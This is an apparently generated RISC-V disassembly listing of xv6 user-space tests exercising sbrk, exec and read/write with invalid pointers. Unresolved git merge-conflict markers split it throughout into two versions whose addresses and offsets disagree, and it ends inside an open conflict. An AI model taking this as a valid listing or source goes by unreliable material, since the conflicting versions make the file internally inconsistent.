<<<<<<< HEAD
219e: 57fd li a5,-1
21a0: 08f51e63 bne a0,a5,223c <copyinstr3+0x10e>
21a4: 00005797 auipc a5,0x5
21a8: 35478793 addi a5,a5,852 # 74f8 <l_free+0x1a90>
21ac: fcf43823 sd a5,-48(s0)
21b0: fc043c23 sd zero,-40(s0)
=======
if (ret != -1) {
219e: 57fd li a5,-1
21a0: 08f51e63 bne a0,a5,223c <copyinstr3+0x10e>
char *args[] = {"xx", 0};
21a4: 00005797 auipc a5,0x5
21a8: 35478793 addi a5,a5,852 # 74f8 <l_free+0x1a92>
21ac: fcf43823 sd a5,-48(s0)
21b0: fc043c23 sd zero,-40(s0)
ret = exec(b, args);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
21b4: fd040593 addi a1,s0,-48
21b8: 8526 mv a0,s1
21ba: 00003097 auipc ra,0x3
21be: 34a080e7 jalr 842(ra) # 5504 <exec>
<<<<<<< HEAD
21c2: 57fd li a5,-1
21c4: 08f51c63 bne a0,a5,225c <copyinstr3+0x12e>
=======
if (ret != -1) {
21c2: 57fd li a5,-1
21c4: 08f51c63 bne a0,a5,225c <copyinstr3+0x12e>
}
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
21c8: 70a2 ld ra,40(sp)
21ca: 7402 ld s0,32(sp)
21cc: 64e2 ld s1,24(sp)
21ce: 6145 addi sp,sp,48
21d0: 8082 ret
<<<<<<< HEAD
=======
sbrk(PGSIZE - (top % PGSIZE));
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
21d2: 0347d513 srli a0,a5,0x34
21d6: 6785 lui a5,0x1
21d8: 40a7853b subw a0,a5,a0
21dc: 00003097 auipc ra,0x3
21e0: 378080e7 jalr 888(ra) # 5554 <sbrk>
21e4: b7bd j 2152 <copyinstr3+0x24>
<<<<<<< HEAD
21e6: 00004517 auipc a0,0x4
21ea: 79250513 addi a0,a0,1938 # 6978 <l_free+0xf10>
21ee: 00003097 auipc ra,0x3
21f2: 658080e7 jalr 1624(ra) # 5846 <printf>
21f6: 4505 li a0,1
21f8: 00003097 auipc ra,0x3
21fc: 2d4080e7 jalr 724(ra) # 54cc <exit>
2200: 862a mv a2,a0
2202: 85a6 mv a1,s1
2204: 00004517 auipc a0,0x4
2208: 24c50513 addi a0,a0,588 # 6450 <l_free+0x9e8>
220c: 00003097 auipc ra,0x3
2210: 63a080e7 jalr 1594(ra) # 5846 <printf>
2214: 4505 li a0,1
2216: 00003097 auipc ra,0x3
221a: 2b6080e7 jalr 694(ra) # 54cc <exit>
221e: 862a mv a2,a0
2220: 85a6 mv a1,s1
2222: 00004517 auipc a0,0x4
2226: 24e50513 addi a0,a0,590 # 6470 <l_free+0xa08>
222a: 00003097 auipc ra,0x3
222e: 61c080e7 jalr 1564(ra) # 5846 <printf>
2232: 4505 li a0,1
2234: 00003097 auipc ra,0x3
2238: 298080e7 jalr 664(ra) # 54cc <exit>
=======
printf("oops\n");
21e6: 00004517 auipc a0,0x4
21ea: 79250513 addi a0,a0,1938 # 6978 <l_free+0xf12>
21ee: 00003097 auipc ra,0x3
21f2: 656080e7 jalr 1622(ra) # 5844 <printf>
exit(1);
21f6: 4505 li a0,1
21f8: 00003097 auipc ra,0x3
21fc: 2d4080e7 jalr 724(ra) # 54cc <exit>
printf("unlink(%s) returned %d, not -1\n", b, ret);
2200: 862a mv a2,a0
2202: 85a6 mv a1,s1
2204: 00004517 auipc a0,0x4
2208: 24c50513 addi a0,a0,588 # 6450 <l_free+0x9ea>
220c: 00003097 auipc ra,0x3
2210: 638080e7 jalr 1592(ra) # 5844 <printf>
exit(1);
2214: 4505 li a0,1
2216: 00003097 auipc ra,0x3
221a: 2b6080e7 jalr 694(ra) # 54cc <exit>
printf("open(%s) returned %d, not -1\n", b, fd);
221e: 862a mv a2,a0
2220: 85a6 mv a1,s1
2222: 00004517 auipc a0,0x4
2226: 24e50513 addi a0,a0,590 # 6470 <l_free+0xa0a>
222a: 00003097 auipc ra,0x3
222e: 61a080e7 jalr 1562(ra) # 5844 <printf>
exit(1);
2232: 4505 li a0,1
2234: 00003097 auipc ra,0x3
2238: 298080e7 jalr 664(ra) # 54cc <exit>
printf("link(%s, %s) returned %d, not -1\n", b, b, ret);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
223c: 86aa mv a3,a0
223e: 8626 mv a2,s1
2240: 85a6 mv a1,s1
2242: 00004517 auipc a0,0x4
<<<<<<< HEAD
2246: 24e50513 addi a0,a0,590 # 6490 <l_free+0xa28>
224a: 00003097 auipc ra,0x3
224e: 5fc080e7 jalr 1532(ra) # 5846 <printf>
2252: 4505 li a0,1
2254: 00003097 auipc ra,0x3
2258: 278080e7 jalr 632(ra) # 54cc <exit>
225c: 567d li a2,-1
225e: 85a6 mv a1,s1
2260: 00004517 auipc a0,0x4
2264: 25850513 addi a0,a0,600 # 64b8 <l_free+0xa50>
2268: 00003097 auipc ra,0x3
226c: 5de080e7 jalr 1502(ra) # 5846 <printf>
=======
2246: 24e50513 addi a0,a0,590 # 6490 <l_free+0xa2a>
224a: 00003097 auipc ra,0x3
224e: 5fa080e7 jalr 1530(ra) # 5844 <printf>
exit(1);
2252: 4505 li a0,1
2254: 00003097 auipc ra,0x3
2258: 278080e7 jalr 632(ra) # 54cc <exit>
printf("exec(%s) returned %d, not -1\n", b, fd);
225c: 567d li a2,-1
225e: 85a6 mv a1,s1
2260: 00004517 auipc a0,0x4
2264: 25850513 addi a0,a0,600 # 64b8 <l_free+0xa52>
2268: 00003097 auipc ra,0x3
226c: 5dc080e7 jalr 1500(ra) # 5844 <printf>
exit(1);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
2270: 4505 li a0,1
2272: 00003097 auipc ra,0x3
2276: 25a080e7 jalr 602(ra) # 54cc <exit>
000000000000227a <rwsbrk>:
<<<<<<< HEAD
=======
void rwsbrk() {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
227a: 1101 addi sp,sp,-32
227c: ec06 sd ra,24(sp)
227e: e822 sd s0,16(sp)
2280: e426 sd s1,8(sp)
2282: e04a sd s2,0(sp)
2284: 1000 addi s0,sp,32
<<<<<<< HEAD
2286: 6509 lui a0,0x2
2288: 00003097 auipc ra,0x3
228c: 2cc080e7 jalr 716(ra) # 5554 <sbrk>
2290: 57fd li a5,-1
2292: 06f50363 beq a0,a5,22f8 <rwsbrk+0x7e>
2296: 84aa mv s1,a0
=======
uint64 a = (uint64)sbrk(8192);
2286: 6509 lui a0,0x2
2288: 00003097 auipc ra,0x3
228c: 2cc080e7 jalr 716(ra) # 5554 <sbrk>
if (a == 0xffffffffffffffffLL) {
2290: 57fd li a5,-1
2292: 06f50363 beq a0,a5,22f8 <rwsbrk+0x7e>
2296: 84aa mv s1,a0
if ((uint64)sbrk(-8192) == 0xffffffffffffffffLL) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
2298: 7579 lui a0,0xffffe
229a: 00003097 auipc ra,0x3
229e: 2ba080e7 jalr 698(ra) # 5554 <sbrk>
22a2: 57fd li a5,-1
22a4: 06f50763 beq a0,a5,2312 <rwsbrk+0x98>
<<<<<<< HEAD
22a8: 20100593 li a1,513
22ac: 00004517 auipc a0,0x4
22b0: 83450513 addi a0,a0,-1996 # 5ae0 <l_free+0x78>
22b4: 00003097 auipc ra,0x3
22b8: 258080e7 jalr 600(ra) # 550c <open>
22bc: 892a mv s2,a0
22be: 06054763 bltz a0,232c <rwsbrk+0xb2>
=======
fd = open("rwsbrk", O_CREATE | O_WRONLY);
22a8: 20100593 li a1,513
22ac: 00004517 auipc a0,0x4
22b0: 83450513 addi a0,a0,-1996 # 5ae0 <l_free+0x7a>
22b4: 00003097 auipc ra,0x3
22b8: 258080e7 jalr 600(ra) # 550c <open>
22bc: 892a mv s2,a0
if (fd < 0) {
22be: 06054763 bltz a0,232c <rwsbrk+0xb2>
n = write(fd, (void *)(a + 4096), 1024);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
22c2: 6505 lui a0,0x1
22c4: 94aa add s1,s1,a0
22c6: 40000613 li a2,1024
22ca: 85a6 mv a1,s1
22cc: 854a mv a0,s2
22ce: 00003097 auipc ra,0x3
22d2: 21e080e7 jalr 542(ra) # 54ec <write>
22d6: 862a mv a2,a0
<<<<<<< HEAD
22d8: 06054763 bltz a0,2346 <rwsbrk+0xcc>
22dc: 85a6 mv a1,s1
22de: 00004517 auipc a0,0x4
22e2: 6f250513 addi a0,a0,1778 # 69d0 <l_free+0xf68>
22e6: 00003097 auipc ra,0x3
22ea: 560080e7 jalr 1376(ra) # 5846 <printf>
22ee: 4505 li a0,1
22f0: 00003097 auipc ra,0x3
22f4: 1dc080e7 jalr 476(ra) # 54cc <exit>
22f8: 00004517 auipc a0,0x4
22fc: 68850513 addi a0,a0,1672 # 6980 <l_free+0xf18>
2300: 00003097 auipc ra,0x3
2304: 546080e7 jalr 1350(ra) # 5846 <printf>
2308: 4505 li a0,1
230a: 00003097 auipc ra,0x3
230e: 1c2080e7 jalr 450(ra) # 54cc <exit>
2312: 00004517 auipc a0,0x4
2316: 68650513 addi a0,a0,1670 # 6998 <l_free+0xf30>
231a: 00003097 auipc ra,0x3
231e: 52c080e7 jalr 1324(ra) # 5846 <printf>
2322: 4505 li a0,1
2324: 00003097 auipc ra,0x3
2328: 1a8080e7 jalr 424(ra) # 54cc <exit>
232c: 00004517 auipc a0,0x4
2330: 68c50513 addi a0,a0,1676 # 69b8 <l_free+0xf50>
2334: 00003097 auipc ra,0x3
2338: 512080e7 jalr 1298(ra) # 5846 <printf>
233c: 4505 li a0,1
233e: 00003097 auipc ra,0x3
2342: 18e080e7 jalr 398(ra) # 54cc <exit>
2346: 854a mv a0,s2
2348: 00003097 auipc ra,0x3
234c: 1ac080e7 jalr 428(ra) # 54f4 <close>
2350: 00003517 auipc a0,0x3
2354: 79050513 addi a0,a0,1936 # 5ae0 <l_free+0x78>
2358: 00003097 auipc ra,0x3
235c: 1c4080e7 jalr 452(ra) # 551c <unlink>
2360: 4581 li a1,0
2362: 00004517 auipc a0,0x4
2366: c1e50513 addi a0,a0,-994 # 5f80 <l_free+0x518>
236a: 00003097 auipc ra,0x3
236e: 1a2080e7 jalr 418(ra) # 550c <open>
2372: 892a mv s2,a0
2374: 02054963 bltz a0,23a6 <rwsbrk+0x12c>
=======
if (n >= 0) {
22d8: 06054763 bltz a0,2346 <rwsbrk+0xcc>
printf("write(fd, %p, 1024) returned %d, not -1\n", a + 4096, n);
22dc: 85a6 mv a1,s1
22de: 00004517 auipc a0,0x4
22e2: 6f250513 addi a0,a0,1778 # 69d0 <l_free+0xf6a>
22e6: 00003097 auipc ra,0x3
22ea: 55e080e7 jalr 1374(ra) # 5844 <printf>
exit(1);
22ee: 4505 li a0,1
22f0: 00003097 auipc ra,0x3
22f4: 1dc080e7 jalr 476(ra) # 54cc <exit>
printf("sbrk(rwsbrk) failed\n");
22f8: 00004517 auipc a0,0x4
22fc: 68850513 addi a0,a0,1672 # 6980 <l_free+0xf1a>
2300: 00003097 auipc ra,0x3
2304: 544080e7 jalr 1348(ra) # 5844 <printf>
exit(1);
2308: 4505 li a0,1
230a: 00003097 auipc ra,0x3
230e: 1c2080e7 jalr 450(ra) # 54cc <exit>
printf("sbrk(rwsbrk) shrink failed\n");
2312: 00004517 auipc a0,0x4
2316: 68650513 addi a0,a0,1670 # 6998 <l_free+0xf32>
231a: 00003097 auipc ra,0x3
231e: 52a080e7 jalr 1322(ra) # 5844 <printf>
exit(1);
2322: 4505 li a0,1
2324: 00003097 auipc ra,0x3
2328: 1a8080e7 jalr 424(ra) # 54cc <exit>
printf("open(rwsbrk) failed\n");
232c: 00004517 auipc a0,0x4
2330: 68c50513 addi a0,a0,1676 # 69b8 <l_free+0xf52>
2334: 00003097 auipc ra,0x3
2338: 510080e7 jalr 1296(ra) # 5844 <printf>
exit(1);
233c: 4505 li a0,1
233e: 00003097 auipc ra,0x3
2342: 18e080e7 jalr 398(ra) # 54cc <exit>
close(fd);
2346: 854a mv a0,s2
2348: 00003097 auipc ra,0x3
234c: 1ac080e7 jalr 428(ra) # 54f4 <close>
unlink("rwsbrk");
2350: 00003517 auipc a0,0x3
2354: 79050513 addi a0,a0,1936 # 5ae0 <l_free+0x7a>
2358: 00003097 auipc ra,0x3
235c: 1c4080e7 jalr 452(ra) # 551c <unlink>
fd = open("README", O_RDONLY);
2360: 4581 li a1,0
2362: 00004517 auipc a0,0x4
2366: c1e50513 addi a0,a0,-994 # 5f80 <l_free+0x51a>
236a: 00003097 auipc ra,0x3
236e: 1a2080e7 jalr 418(ra) # 550c <open>
2372: 892a mv s2,a0
if (fd < 0) {
2374: 02054963 bltz a0,23a6 <rwsbrk+0x12c>
n = read(fd, (void *)(a + 4096), 10);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
2378: 4629 li a2,10
237a: 85a6 mv a1,s1
237c: 00003097 auipc ra,0x3
2380: 168080e7 jalr 360(ra) # 54e4 <read>
2384: 862a mv a2,a0
<<<<<<< HEAD
2386: 02054d63 bltz a0,23c0 <rwsbrk+0x146>
238a: 85a6 mv a1,s1
238c: 00004517 auipc a0,0x4
2390: 67450513 addi a0,a0,1652 # 6a00 <l_free+0xf98>
2394: 00003097 auipc ra,0x3
2398: 4b2080e7 jalr 1202(ra) # 5846 <printf>
239c: 4505 li a0,1
239e: 00003097 auipc ra,0x3
23a2: 12e080e7 jalr 302(ra) # 54cc <exit>
23a6: 00004517 auipc a0,0x4
23aa: 61250513 addi a0,a0,1554 # 69b8 <l_free+0xf50>
23ae: 00003097 auipc ra,0x3
23b2: 498080e7 jalr 1176(ra) # 5846 <printf>
23b6: 4505 li a0,1
23b8: 00003097 auipc ra,0x3
23bc: 114080e7 jalr 276(ra) # 54cc <exit>
23c0: 854a mv a0,s2
23c2: 00003097 auipc ra,0x3
23c6: 132080e7 jalr 306(ra) # 54f4 <close>
=======
if (n >= 0) {
2386: 02054d63 bltz a0,23c0 <rwsbrk+0x146>
printf("read(fd, %p, 10) returned %d, not -1\n", a + 4096, n);
238a: 85a6 mv a1,s1
238c: 00004517 auipc a0,0x4
2390: 67450513 addi a0,a0,1652 # 6a00 <l_free+0xf9a>
2394: 00003097 auipc ra,0x3
2398: 4b0080e7 jalr 1200(ra) # 5844 <printf>
exit(1);
239c: 4505 li a0,1
239e: 00003097 auipc ra,0x3
23a2: 12e080e7 jalr 302(ra) # 54cc <exit>
printf("open(rwsbrk) failed\n");
23a6: 00004517 auipc a0,0x4
23aa: 61250513 addi a0,a0,1554 # 69b8 <l_free+0xf52>
23ae: 00003097 auipc ra,0x3
23b2: 496080e7 jalr 1174(ra) # 5844 <printf>
exit(1);
23b6: 4505 li a0,1
23b8: 00003097 auipc ra,0x3
23bc: 114080e7 jalr 276(ra) # 54cc <exit>
close(fd);
23c0: 854a mv a0,s2
23c2: 00003097 auipc ra,0x3
23c6: 132080e7 jalr 306(ra) # 54f4 <close>
exit(0);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
23ca: 4501 li a0,0
23cc: 00003097 auipc ra,0x3
23d0: 100080e7 jalr 256(ra) # 54cc <exit>
00000000000023d4 <sbrkmuch>:
<<<<<<< HEAD
=======
void sbrkmuch(char *s) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
23d4: 7179 addi sp,sp,-48
23d6: f406 sd ra,40(sp)
23d8: f022 sd s0,32(sp)
23da: ec26 sd s1,24(sp)
23dc: e84a sd s2,16(sp)
23de: e44e sd s3,8(sp)
23e0: e052 sd s4,0(sp)
23e2: 1800 addi s0,sp,48
23e4: 89aa mv s3,a0
<<<<<<< HEAD
=======
oldbrk = sbrk(0);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
23e6: 4501 li a0,0
23e8: 00003097 auipc ra,0x3
23ec: 16c080e7 jalr 364(ra) # 5554 <sbrk>
23f0: 892a mv s2,a0
<<<<<<< HEAD
=======
a = sbrk(0);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
23f2: 4501 li a0,0
23f4: 00003097 auipc ra,0x3
23f8: 160080e7 jalr 352(ra) # 5554 <sbrk>
23fc: 84aa mv s1,a0
<<<<<<< HEAD
=======
p = sbrk(amt);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
23fe: 06400537 lui a0,0x6400
2402: 9d05 subw a0,a0,s1
2404: 00003097 auipc ra,0x3
2408: 150080e7 jalr 336(ra) # 5554 <sbrk>
<<<<<<< HEAD
240c: 0ca49863 bne s1,a0,24dc <sbrkmuch+0x108>
=======
if (p != a) {
240c: 0ca49863 bne s1,a0,24dc <sbrkmuch+0x108>
char *eee = sbrk(0);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
2410: 4501 li a0,0
2412: 00003097 auipc ra,0x3
2416: 142080e7 jalr 322(ra) # 5554 <sbrk>
241a: 87aa mv a5,a0
<<<<<<< HEAD
241c: 00a4f963 bgeu s1,a0,242e <sbrkmuch+0x5a>
2420: 4685 li a3,1
2422: 6705 lui a4,0x1
2424: 00d48023 sb a3,0(s1)
2428: 94ba add s1,s1,a4
242a: fef4ede3 bltu s1,a5,2424 <sbrkmuch+0x50>
242e: 064007b7 lui a5,0x6400
2432: 06300713 li a4,99
2436: fee78fa3 sb a4,-1(a5) # 63fffff <__BSS_END__+0x63f15df>
=======
for (char *pp = a; pp < eee; pp += 4096)
241c: 00a4f963 bgeu s1,a0,242e <sbrkmuch+0x5a>
*pp = 1;
2420: 4685 li a3,1
for (char *pp = a; pp < eee; pp += 4096)
2422: 6705 lui a4,0x1
*pp = 1;
2424: 00d48023 sb a3,0(s1)
for (char *pp = a; pp < eee; pp += 4096)
2428: 94ba add s1,s1,a4
242a: fef4ede3 bltu s1,a5,2424 <sbrkmuch+0x50>
*lastaddr = 99;
242e: 064007b7 lui a5,0x6400
2432: 06300713 li a4,99
2436: fee78fa3 sb a4,-1(a5) # 63fffff <__BSS_END__+0x63f1637>
a = sbrk(0);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
243a: 4501 li a0,0
243c: 00003097 auipc ra,0x3
2440: 118080e7 jalr 280(ra) # 5554 <sbrk>
2444: 84aa mv s1,a0
<<<<<<< HEAD
2446: 757d lui a0,0xfffff
2448: 00003097 auipc ra,0x3
244c: 10c080e7 jalr 268(ra) # 5554 <sbrk>
2450: 57fd li a5,-1
2452: 0af50363 beq a0,a5,24f8 <sbrkmuch+0x124>
2456: 4501 li a0,0
2458: 00003097 auipc ra,0x3
245c: 0fc080e7 jalr 252(ra) # 5554 <sbrk>
2460: 77fd lui a5,0xfffff
2462: 97a6 add a5,a5,s1
2464: 0af51863 bne a0,a5,2514 <sbrkmuch+0x140>
=======
c = sbrk(-PGSIZE);
2446: 757d lui a0,0xfffff
2448: 00003097 auipc ra,0x3
244c: 10c080e7 jalr 268(ra) # 5554 <sbrk>
if (c == (char *)0xffffffffffffffffL) {
2450: 57fd li a5,-1
2452: 0af50363 beq a0,a5,24f8 <sbrkmuch+0x124>
c = sbrk(0);
2456: 4501 li a0,0
2458: 00003097 auipc ra,0x3
245c: 0fc080e7 jalr 252(ra) # 5554 <sbrk>
if (c != a - PGSIZE) {
2460: 77fd lui a5,0xfffff
2462: 97a6 add a5,a5,s1
2464: 0af51863 bne a0,a5,2514 <sbrkmuch+0x140>
a = sbrk(0);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
2468: 4501 li a0,0
246a: 00003097 auipc ra,0x3
246e: 0ea080e7 jalr 234(ra) # 5554 <sbrk>
2472: 84aa mv s1,a0
<<<<<<< HEAD
=======
c = sbrk(PGSIZE);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
2474: 6505 lui a0,0x1
2476: 00003097 auipc ra,0x3
247a: 0de080e7 jalr 222(ra) # 5554 <sbrk>
247e: 8a2a mv s4,a0
<<<<<<< HEAD
=======
if (c != a || sbrk(0) != a + PGSIZE) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
2480: 0aa49963 bne s1,a0,2532 <sbrkmuch+0x15e>
2484: 4501 li a0,0
2486: 00003097 auipc ra,0x3
248a: 0ce080e7 jalr 206(ra) # 5554 <sbrk>
248e: 6785 lui a5,0x1
2490: 97a6 add a5,a5,s1
2492: 0af51063 bne a0,a5,2532 <sbrkmuch+0x15e>
<<<<<<< HEAD
2496: 064007b7 lui a5,0x6400
249a: fff7c703 lbu a4,-1(a5) # 63fffff <__BSS_END__+0x63f15df>
249e: 06300793 li a5,99
24a2: 0af70763 beq a4,a5,2550 <sbrkmuch+0x17c>
=======
if (*lastaddr == 99) {
2496: 064007b7 lui a5,0x6400
249a: fff7c703 lbu a4,-1(a5) # 63fffff <__BSS_END__+0x63f1637>
249e: 06300793 li a5,99
24a2: 0af70763 beq a4,a5,2550 <sbrkmuch+0x17c>
a = sbrk(0);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
24a6: 4501 li a0,0
24a8: 00003097 auipc ra,0x3
24ac: 0ac080e7 jalr 172(ra) # 5554 <sbrk>
24b0: 84aa mv s1,a0
<<<<<<< HEAD
=======
c = sbrk(-(sbrk(0) - oldbrk));
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
24b2: 4501 li a0,0
24b4: 00003097 auipc ra,0x3
24b8: 0a0080e7 jalr 160(ra) # 5554 <sbrk>
24bc: 40a9053b subw a0,s2,a0
24c0: 00003097 auipc ra,0x3
24c4: 094080e7 jalr 148(ra) # 5554 <sbrk>
<<<<<<< HEAD
24c8: 0aa49263 bne s1,a0,256c <sbrkmuch+0x198>
=======
if (c != a) {
24c8: 0aa49263 bne s1,a0,256c <sbrkmuch+0x198>
}
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
24cc: 70a2 ld ra,40(sp)
24ce: 7402 ld s0,32(sp)
24d0: 64e2 ld s1,24(sp)
24d2: 6942 ld s2,16(sp)
24d4: 69a2 ld s3,8(sp)
24d6: 6a02 ld s4,0(sp)
24d8: 6145 addi sp,sp,48
24da: 8082 ret
<<<<<<< HEAD
24dc: 85ce mv a1,s3
24de: 00004517 auipc a0,0x4
24e2: 54a50513 addi a0,a0,1354 # 6a28 <l_free+0xfc0>
24e6: 00003097 auipc ra,0x3
24ea: 360080e7 jalr 864(ra) # 5846 <printf>
24ee: 4505 li a0,1
24f0: 00003097 auipc ra,0x3
24f4: fdc080e7 jalr -36(ra) # 54cc <exit>
24f8: 85ce mv a1,s3
24fa: 00004517 auipc a0,0x4
24fe: 57650513 addi a0,a0,1398 # 6a70 <l_free+0x1008>
2502: 00003097 auipc ra,0x3
2506: 344080e7 jalr 836(ra) # 5846 <printf>
250a: 4505 li a0,1
250c: 00003097 auipc ra,0x3
2510: fc0080e7 jalr -64(ra) # 54cc <exit>
2514: 862a mv a2,a0
2516: 85a6 mv a1,s1
2518: 00004517 auipc a0,0x4
251c: 57850513 addi a0,a0,1400 # 6a90 <l_free+0x1028>
2520: 00003097 auipc ra,0x3
2524: 326080e7 jalr 806(ra) # 5846 <printf>
2528: 4505 li a0,1
252a: 00003097 auipc ra,0x3
252e: fa2080e7 jalr -94(ra) # 54cc <exit>
2532: 8652 mv a2,s4
2534: 85a6 mv a1,s1
2536: 00004517 auipc a0,0x4
253a: 59a50513 addi a0,a0,1434 # 6ad0 <l_free+0x1068>
253e: 00003097 auipc ra,0x3
2542: 308080e7 jalr 776(ra) # 5846 <printf>
2546: 4505 li a0,1
2548: 00003097 auipc ra,0x3
254c: f84080e7 jalr -124(ra) # 54cc <exit>
2550: 85ce mv a1,s3
2552: 00004517 auipc a0,0x4
2556: 5ae50513 addi a0,a0,1454 # 6b00 <l_free+0x1098>
255a: 00003097 auipc ra,0x3
255e: 2ec080e7 jalr 748(ra) # 5846 <printf>
2562: 4505 li a0,1
2564: 00003097 auipc ra,0x3
2568: f68080e7 jalr -152(ra) # 54cc <exit>
256c: 862a mv a2,a0
256e: 85a6 mv a1,s1
2570: 00004517 auipc a0,0x4
2574: 5c850513 addi a0,a0,1480 # 6b38 <l_free+0x10d0>
2578: 00003097 auipc ra,0x3
257c: 2ce080e7 jalr 718(ra) # 5846 <printf>
=======
printf("%s: sbrk test failed to grow big address space; enough phys mem?\n",
24dc: 85ce mv a1,s3
24de: 00004517 auipc a0,0x4
24e2: 54a50513 addi a0,a0,1354 # 6a28 <l_free+0xfc2>
24e6: 00003097 auipc ra,0x3
24ea: 35e080e7 jalr 862(ra) # 5844 <printf>
exit(1);
24ee: 4505 li a0,1
24f0: 00003097 auipc ra,0x3
24f4: fdc080e7 jalr -36(ra) # 54cc <exit>
printf("%s: sbrk could not deallocate\n", s);
24f8: 85ce mv a1,s3
24fa: 00004517 auipc a0,0x4
24fe: 57650513 addi a0,a0,1398 # 6a70 <l_free+0x100a>
2502: 00003097 auipc ra,0x3
2506: 342080e7 jalr 834(ra) # 5844 <printf>
exit(1);
250a: 4505 li a0,1
250c: 00003097 auipc ra,0x3
2510: fc0080e7 jalr -64(ra) # 54cc <exit>
printf("%s: sbrk deallocation produced wrong address, a %x c %x\n", a, c);
2514: 862a mv a2,a0
2516: 85a6 mv a1,s1
2518: 00004517 auipc a0,0x4
251c: 57850513 addi a0,a0,1400 # 6a90 <l_free+0x102a>
2520: 00003097 auipc ra,0x3
2524: 324080e7 jalr 804(ra) # 5844 <printf>
exit(1);
2528: 4505 li a0,1
252a: 00003097 auipc ra,0x3
252e: fa2080e7 jalr -94(ra) # 54cc <exit>
printf("%s: sbrk re-allocation failed, a %x c %x\n", a, c);
2532: 8652 mv a2,s4
2534: 85a6 mv a1,s1
2536: 00004517 auipc a0,0x4
253a: 59a50513 addi a0,a0,1434 # 6ad0 <l_free+0x106a>
253e: 00003097 auipc ra,0x3
2542: 306080e7 jalr 774(ra) # 5844 <printf>
exit(1);
2546: 4505 li a0,1
2548: 00003097 auipc ra,0x3
254c: f84080e7 jalr -124(ra) # 54cc <exit>
printf("%s: sbrk de-allocation didn't really deallocate\n", s);
2550: 85ce mv a1,s3
2552: 00004517 auipc a0,0x4
2556: 5ae50513 addi a0,a0,1454 # 6b00 <l_free+0x109a>
255a: 00003097 auipc ra,0x3
255e: 2ea080e7 jalr 746(ra) # 5844 <printf>
exit(1);
2562: 4505 li a0,1
2564: 00003097 auipc ra,0x3
2568: f68080e7 jalr -152(ra) # 54cc <exit>
printf("%s: sbrk downsize failed, a %x c %x\n", a, c);
256c: 862a mv a2,a0
256e: 85a6 mv a1,s1
2570: 00004517 auipc a0,0x4
2574: 5c850513 addi a0,a0,1480 # 6b38 <l_free+0x10d2>
2578: 00003097 auipc ra,0x3
257c: 2cc080e7 jalr 716(ra) # 5844 <printf>
exit(1);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
2580: 4505 li a0,1
2582: 00003097 auipc ra,0x3
2586: f4a080e7 jalr -182(ra) # 54cc <exit>
000000000000258a <sbrkarg>:
<<<<<<< HEAD
=======
void sbrkarg(char *s) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
258a: 7179 addi sp,sp,-48
258c: f406 sd ra,40(sp)
258e: f022 sd s0,32(sp)
2590: ec26 sd s1,24(sp)
2592: e84a sd s2,16(sp)
2594: e44e sd s3,8(sp)
2596: 1800 addi s0,sp,48
2598: 89aa mv s3,a0
<<<<<<< HEAD
=======
a = sbrk(PGSIZE);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
259a: 6505 lui a0,0x1
259c: 00003097 auipc ra,0x3
25a0: fb8080e7 jalr -72(ra) # 5554 <sbrk>
25a4: 892a mv s2,a0
<<<<<<< HEAD
25a6: 20100593 li a1,513
25aa: 00004517 auipc a0,0x4
25ae: 5b650513 addi a0,a0,1462 # 6b60 <l_free+0x10f8>
25b2: 00003097 auipc ra,0x3
25b6: f5a080e7 jalr -166(ra) # 550c <open>
25ba: 84aa mv s1,a0
25bc: 00004517 auipc a0,0x4
25c0: 5a450513 addi a0,a0,1444 # 6b60 <l_free+0x10f8>
25c4: 00003097 auipc ra,0x3
25c8: f58080e7 jalr -168(ra) # 551c <unlink>
25cc: 0404c163 bltz s1,260e <sbrkarg+0x84>
=======
fd = open("sbrk", O_CREATE | O_WRONLY);
25a6: 20100593 li a1,513
25aa: 00004517 auipc a0,0x4
25ae: 5b650513 addi a0,a0,1462 # 6b60 <l_free+0x10fa>
25b2: 00003097 auipc ra,0x3
25b6: f5a080e7 jalr -166(ra) # 550c <open>
25ba: 84aa mv s1,a0
unlink("sbrk");
25bc: 00004517 auipc a0,0x4
25c0: 5a450513 addi a0,a0,1444 # 6b60 <l_free+0x10fa>
25c4: 00003097 auipc ra,0x3
25c8: f58080e7 jalr -168(ra) # 551c <unlink>
if (fd < 0) {
25cc: 0404c163 bltz s1,260e <sbrkarg+0x84>
if ((n = write(fd, a, PGSIZE)) < 0) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
25d0: 6605 lui a2,0x1
25d2: 85ca mv a1,s2
25d4: 8526 mv a0,s1
25d6: 00003097 auipc ra,0x3
25da: f16080e7 jalr -234(ra) # 54ec <write>
25de: 04054663 bltz a0,262a <sbrkarg+0xa0>
<<<<<<< HEAD
25e2: 8526 mv a0,s1
25e4: 00003097 auipc ra,0x3
25e8: f10080e7 jalr -240(ra) # 54f4 <close>
25ec: 6505 lui a0,0x1
25ee: 00003097 auipc ra,0x3
25f2: f66080e7 jalr -154(ra) # 5554 <sbrk>
25f6: 00003097 auipc ra,0x3
25fa: ee6080e7 jalr -282(ra) # 54dc <pipe>
25fe: e521 bnez a0,2646 <sbrkarg+0xbc>
=======
close(fd);
25e2: 8526 mv a0,s1
